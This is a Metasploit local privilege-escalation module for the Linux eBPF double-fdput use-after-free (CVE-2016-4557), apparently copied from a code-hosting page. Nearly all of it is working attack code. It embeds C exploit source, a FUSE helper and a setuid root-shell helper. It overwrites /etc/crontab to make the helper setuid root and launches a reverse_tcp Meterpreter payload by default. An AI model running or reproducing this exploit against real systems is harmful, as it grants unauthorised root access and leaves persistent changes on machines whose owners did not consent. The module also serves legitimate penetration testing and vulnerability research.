Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = GoodRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::Linux::Priv
11
  include Msf::Post::Linux::System
12
  include Msf::Post::Linux::Kernel
13
  include Msf::Exploit::EXE
14
  include Msf::Exploit::FileDropper
15
  prepend Msf::Exploit::Remote::AutoCheck
16

17
  def initialize(info = {})
18
    super(
19
      update_info(
20
        info,
21
        'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
22
        'Description' => %q{
23
          Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
24
          does not properly reference count file descriptors, resulting
25
          in a use-after-free, which can be abused to escalate privileges.
26

27
          The target system must be compiled with `CONFIG_BPF_SYSCALL`
28
          and must not have `kernel.unprivileged_bpf_disabled` set to 1.
29

30
          Note, this module will overwrite the first few lines
31
          of `/etc/crontab` with a new cron job. The job will
32
          need to be manually removed.
33

34
          This module has been tested successfully on Ubuntu 16.04 (x64)
35
          kernel 4.4.0-21-generic (default kernel).
36
        },
37
        'License' => MSF_LICENSE,
38
        'Author' => [
39
          '[email protected]', # discovery and exploit
40
          'h00die <[email protected]>' # metasploit module
41
        ],
42
        'Platform' => ['linux'],
43
        'Arch' => [ARCH_X86, ARCH_X64],
44
        'SessionTypes' => ['shell', 'meterpreter'],
45
        'DisclosureDate' => '2016-05-04',
46
        'Privileged' => true,
47
        'References' => [
48
          ['BID', '90309'],
49
          ['CVE', '2016-4557'],
50
          ['EDB', '39772'],
51
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
52
          ['URL', 'https://usn.ubuntu.com/2965-1/'],
53
          ['URL', 'https://launchpad.net/bugs/1578705'],
54
          ['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'],
55
          ['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'],
56
          ['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
57
        ],
58
        'Targets' => [
59
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
60
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
61
        ],
62
        'DefaultOptions' => {
63
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
64
          'PrependFork' => true,
65
          'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
66
        },
67
        'Notes' => {
68
          'AKA' =>
69
                   [
70
                     'double-fdput',
71
                     'doubleput.c'
72
                   ]
73
        },
74
        'DefaultTarget' => 1,
75
        'Compat' => {
76
          'Meterpreter' => {
77
            'Commands' => %w[
78
              stdapi_fs_delete_file
79
              stdapi_sys_process_execute
80
            ]
81
          }
82
        }
83
      )
84
    )
85
    register_options [
86
      OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
87
      OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
88
    ]
89
    register_advanced_options [
90
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
91
    ]
92
  end
93

94
  def base_dir
95
    datastore['WritableDir'].to_s
96
  end
97

98
  def exploit_data(file)
99
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
100
  end
101

102
  def upload(path, data)
103
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
104
    rm_f path
105
    write_file path, data
106
    register_file_for_cleanup path
107
  end
108

109
  def upload_and_chmodx(path, data)
110
    upload path, data
111
    chmod path
112
  end
113

114
  def live_compile?
115
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
116

117
    return true if has_prereqs?
118

119
    unless datastore['COMPILE'].eql? 'Auto'
120
      fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
121
    end
122
  end
123

124
  def has_prereqs?
125
    def check_libfuse_dev?
126
      lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
127
      if lib.include?('install')
128
        vprint_good('libfuse-dev is installed')
129
        return true
130
      else
131
        print_error('libfuse-dev is not installed.  Compiling will fail.')
132
        return false
133
      end
134
    end
135

136
    def check_gcc?
137
      if has_gcc?
138
        vprint_good('gcc is installed')
139
        return true
140
      else
141
        print_error('gcc is not installed.  Compiling will fail.')
142
        return false
143
      end
144
    end
145

146
    def check_pkgconfig?
147
      lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
148
      if lib.include?('install')
149
        vprint_good('pkg-config is installed')
150
        return true
151
      else
152
        print_error('pkg-config is not installed.  Exploitation will fail.')
153
        return false
154
      end
155
    end
156

157
    return check_libfuse_dev? && check_gcc? && check_pkgconfig?
158
  end
159

160
  def upload_and_compile(path, data, gcc_args = '')
161
    upload "#{path}.c", data
162

163
    gcc_cmd = "gcc -o #{path} #{path}.c"
164
    if session.type.eql? 'shell'
165
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
166
    end
167

168
    unless gcc_args.to_s.blank?
169
      gcc_cmd << " #{gcc_args}"
170
    end
171

172
    output = cmd_exec gcc_cmd
173

174
    unless output.blank?
175
      print_error output
176
      fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
177
    end
178

179
    register_file_for_cleanup path
180
    chmod path
181
  end
182

183
  def check
184
    release = kernel_release
185
    version = kernel_version
186

187
    if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') ||
188
       Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5')
189
      vprint_error "Kernel version #{release} #{version} is not vulnerable"
190
      return CheckCode::Safe
191
    end
192

193
    if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/
194
      if $1.to_i > 21
195
        vprint_error "Kernel version #{release} is not vulnerable"
196
        return CheckCode::Safe
197
      end
198
    end
199
    vprint_good "Kernel version #{release} #{version} appears to be vulnerable"
200

201
    lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
202
    unless lib.include?('install')
203
      print_error('fuse package is not installed.  Exploitation will fail.')
204
      return CheckCode::Safe
205
    end
206
    vprint_good('fuse package is installed')
207

208
    fuse_mount = "#{base_dir}/fuse_mount"
209
    if directory? fuse_mount
210
      vprint_error("#{fuse_mount} should be unmounted and deleted.  Exploitation will fail.")
211
      return CheckCode::Safe
212
    end
213
    vprint_good("#{fuse_mount} doesn't exist")
214

215
    config = kernel_config
216

217
    if config.nil?
218
      vprint_error 'Could not retrieve kernel config'
219
      return CheckCode::Unknown
220
    end
221

222
    unless config.include? 'CONFIG_BPF_SYSCALL=y'
223
      vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
224
      return CheckCode::Safe
225
    end
226
    vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
227

228
    if unprivileged_bpf_disabled?
229
      vprint_error 'Unprivileged BPF loading is not permitted'
230
      return CheckCode::Safe
231
    end
232
    vprint_good 'Unprivileged BPF loading is permitted'
233

234
    CheckCode::Appears
235
  end
236

237
  def exploit
238
    if !datastore['ForceExploit'] && is_root?
239
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
240
    end
241

242
    unless writable? base_dir
243
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
244
    end
245

246
    if nosuid? base_dir
247
      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
248
    end
249

250
    doubleput = %q{
251
      #define _GNU_SOURCE
252
      #include <stdbool.h>
253
      #include <errno.h>
254
      #include <err.h>
255
      #include <unistd.h>
256
      #include <fcntl.h>
257
      #include <sched.h>
258
      #include <signal.h>
259
      #include <stdlib.h>
260
      #include <stdio.h>
261
      #include <string.h>
262
      #include <sys/types.h>
263
      #include <sys/stat.h>
264
      #include <sys/syscall.h>
265
      #include <sys/prctl.h>
266
      #include <sys/uio.h>
267
      #include <sys/mman.h>
268
      #include <sys/wait.h>
269
      #include <linux/bpf.h>
270
      #include <linux/kcmp.h>
271

272
      #ifndef __NR_bpf
273
      # if defined(__i386__)
274
      #  define __NR_bpf 357
275
      # elif defined(__x86_64__)
276
      #  define __NR_bpf 321
277
      # elif defined(__aarch64__)
278
      #  define __NR_bpf 280
279
      # else
280
      #  error
281
      # endif
282
      #endif
283

284
      int uaf_fd;
285

286
      int task_b(void *p) {
287
        /* step 2: start writev with slow IOV, raising the refcount to 2 */
288
        char *cwd = get_current_dir_name();
289
        char data[2048];
290
        sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
291
        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
292
        if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
293
          errx(1, "system() failed");
294
        int fuse_fd = open("fuse_mount/hello", O_RDWR);
295
        if (fuse_fd == -1)
296
          err(1, "unable to open FUSE fd");
297
        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
298
          errx(1, "unable to write to FUSE fd");
299
        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
300
        if (iov_ == MAP_FAILED)
301
          err(1, "unable to mmap FUSE fd");
302
        fputs("starting writev\n", stderr);
303
        ssize_t writev_res = writev(uaf_fd, iov_, 1);
304
        /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
305
        if (writev_res == -1)
306
          err(1, "writev failed");
307
        if (writev_res != strlen(data))
308
          errx(1, "writev returned %d", (int)writev_res);
309
        fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
310
        while (1) sleep(1); /* whatever, just don't crash */
311
      }
312

313
      void make_setuid(void) {
314
        /* step 1: open writable UAF fd */
315
        uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
316
        if (uaf_fd == -1)
317
          err(1, "unable to open UAF fd");
318
        /* refcount is now 1 */
319

320
        char child_stack[20000];
321
        int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
322
        if (child == -1)
323
          err(1, "clone");
324
        sleep(3);
325
        /* refcount is now 2 */
326

327
        /* step 2+3: use BPF to remove two references */
328
        for (int i=0; i<2; i++) {
329
          struct bpf_insn insns[2] = {
330
            {
331
              .code = BPF_LD | BPF_IMM | BPF_DW,
332
              .src_reg = BPF_PSEUDO_MAP_FD,
333
              .imm = uaf_fd
334
            },
335
            {
336
            }
337
          };
338
          union bpf_attr attr = {
339
            .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
340
            .insn_cnt = 2,
341
            .insns = (__aligned_u64) insns,
342
            .license = (__aligned_u64)""
343
          };
344
          if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
345
            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
346
          if (errno != EINVAL)
347
            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
348
        }
349
        /* refcount is now 0, the file is freed soon-ish */
350

351
        /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
352
        int status;
353
        int hostnamefds[1000];
354
        int used_fds = 0;
355
        bool up = true;
356
        while (1) {
357
          if (waitpid(child, &status, WNOHANG) == child)
358
            errx(1, "child quit before we got a good file*");
359
          if (up) {
360
            hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
361
            if (hostnamefds[used_fds] == -1)
362
              err(1, "open target file");
363
            if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
364
            used_fds++;
365
            if (used_fds == 1000) up = false;
366
          } else {
367
            close(hostnamefds[--used_fds]);
368
            if (used_fds == 0) up = true;
369
          }
370
        }
371
        fputs("woohoo, got pointer reuse\n", stderr);
372
        while (1) sleep(1); /* whatever, just don't crash */
373
      }
374

375
      int main(void) {
376
        pid_t child = fork();
377
        if (child == -1)
378
          err(1, "fork");
379
        if (child == 0)
380
          make_setuid();
381
        struct stat helperstat;
382
        while (1) {
383
          if (stat("suidhelper", &helperstat))
384
            err(1, "stat suidhelper");
385
          if (helperstat.st_mode & S_ISUID)
386
            break;
387
          sleep(1);
388
        }
389
        fputs("suid file detected, launching rootshell...\n", stderr);
390
        execl("./suidhelper", "suidhelper", NULL);
391
        err(1, "execl suidhelper");
392
      }
393
    }
394

395
    suid_helper = %q{
396
      #include <unistd.h>
397
      #include <err.h>
398
      #include <stdio.h>
399
      #include <sys/types.h>
400

401
      int main(void) {
402
        if (setuid(0) || setgid(0))
403
          err(1, "setuid/setgid");
404
        fputs("we have root privs now...\n", stderr);
405
        execl("/bin/bash", "bash", NULL);
406
        err(1, "execl");
407
      }
408

409
    }
410

411
    hello = %q{
412
      /*
413
        FUSE: Filesystem in Userspace
414
        Copyright (C) 2001-2007  Miklos Szeredi <[email protected]>
415
        heavily modified by Jann Horn <[email protected]>
416

417
        This program can be distributed under the terms of the GNU GPL.
418
        See the file COPYING.
419

420
        gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
421
      */
422

423
      #define FUSE_USE_VERSION 26
424

425
      #include <fuse.h>
426
      #include <stdio.h>
427
      #include <string.h>
428
      #include <errno.h>
429
      #include <fcntl.h>
430
      #include <unistd.h>
431
      #include <err.h>
432
      #include <sys/uio.h>
433

434
      static const char *hello_path = "/hello";
435

436
      static char data_state[sizeof(struct iovec)];
437

438
      static int hello_getattr(const char *path, struct stat *stbuf)
439
      {
440
        int res = 0;
441
        memset(stbuf, 0, sizeof(struct stat));
442
        if (strcmp(path, "/") == 0) {
443
          stbuf->st_mode = S_IFDIR | 0755;
444
          stbuf->st_nlink = 2;
445
        } else if (strcmp(path, hello_path) == 0) {
446
          stbuf->st_mode = S_IFREG | 0666;
447
          stbuf->st_nlink = 1;
448
          stbuf->st_size = sizeof(data_state);
449
          stbuf->st_blocks = 0;
450
        } else
451
          res = -ENOENT;
452
        return res;
453
      }
454

455
      static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
456
        filler(buf, ".", NULL, 0);
457
        filler(buf, "..", NULL, 0);
458
        filler(buf, hello_path + 1, NULL, 0);
459
        return 0;
460
      }
461

462
      static int hello_open(const char *path, struct fuse_file_info *fi) {
463
        return 0;
464
      }
465

466
      static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
467
        sleep(10);
468
        size_t len = sizeof(data_state);
469
        if (offset < len) {
470
          if (offset + size > len)
471
            size = len - offset;
472
          memcpy(buf, data_state + offset, size);
473
        } else
474
          size = 0;
475
        return size;
476
      }
477

478
      static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
479
        if (offset != 0)
480
          errx(1, "got write with nonzero offset");
481
        if (size != sizeof(data_state))
482
          errx(1, "got write with size %d", (int)size);
483
        memcpy(data_state + offset, buf, size);
484
        return size;
485
      }
486

487
      static struct fuse_operations hello_oper = {
488
        .getattr	= hello_getattr,
489
        .readdir	= hello_readdir,
490
        .open		= hello_open,
491
        .read		= hello_read,
492
        .write		= hello_write,
493
      };
494

495
      int main(int argc, char *argv[]) {
496
        return fuse_main(argc, argv, &hello_oper, NULL);
497
      }
498
    }
499

500
    @hello_name = 'hello'
501
    hello_path = "#{base_dir}/#{@hello_name}"
502
    @doubleput_name = 'doubleput'
503
    doubleput_path = "#{base_dir}/#{@doubleput_name}"
504
    @suidhelper_path = "#{base_dir}/suidhelper"
505
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
506

507
    if live_compile?
508
      vprint_status 'Live compiling exploit on system...'
509

510
      upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
511
      upload_and_compile(doubleput_path, doubleput, '-Wall')
512
      upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
513
    else
514
      vprint_status 'Dropping pre-compiled exploit on system...'
515

516
      upload_and_chmodx(hello_path, exploit_data('hello'))
517
      upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
518
      upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
519
    end
520

521
    vprint_status 'Uploading payload...'
522
    upload_and_chmodx(payload_path, generate_payload_exe)
523

524
    print_status('Launching exploit. This may take up to 120 seconds.')
525
    print_warning('This module adds a job to /etc/crontab which requires manual removal!')
526

527
    register_dir_for_cleanup "#{base_dir}/fuse_mount"
528
    cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
529
    sec_waited = 0
530
    until sec_waited > datastore['MAXWAIT'] do
531
      Rex.sleep(5)
532
      # check file permissions
533
      if setuid? @suidhelper_path
534
        print_good("Success! set-uid root #{@suidhelper_path}")
535
        cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
536
        return
537
      end
538
      sec_waited += 5
539
    end
540
    print_error "Failed to set-uid root #{@suidhelper_path}"
541
  end
542

543
  def cleanup
544
    cmd_exec "killall #{@hello_name}"
545
    cmd_exec "killall #{@doubleput_name}"
546
  ensure
547
    super
548
  end
549

550
  def on_new_session(session)
551
    # remove root owned SUID executable and kill running exploit processes
552
    if session.type.eql? 'meterpreter'
553
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
554
      session.fs.file.rm @suidhelper_path
555
      session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
556
      session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
557
      session.fs.file.rm "#{base_dir}/fuse_mount"
558
    else
559
      session.shell_command_token "rm -f '#{@suidhelper_path}'"
560
      session.shell_command_token "killall #{@doubleput_name}"
561
      session.shell_command_token "killall #{@hello_name}"
562
      session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
563
    end
564
  ensure
565
    super
566
  end
567
end
568

569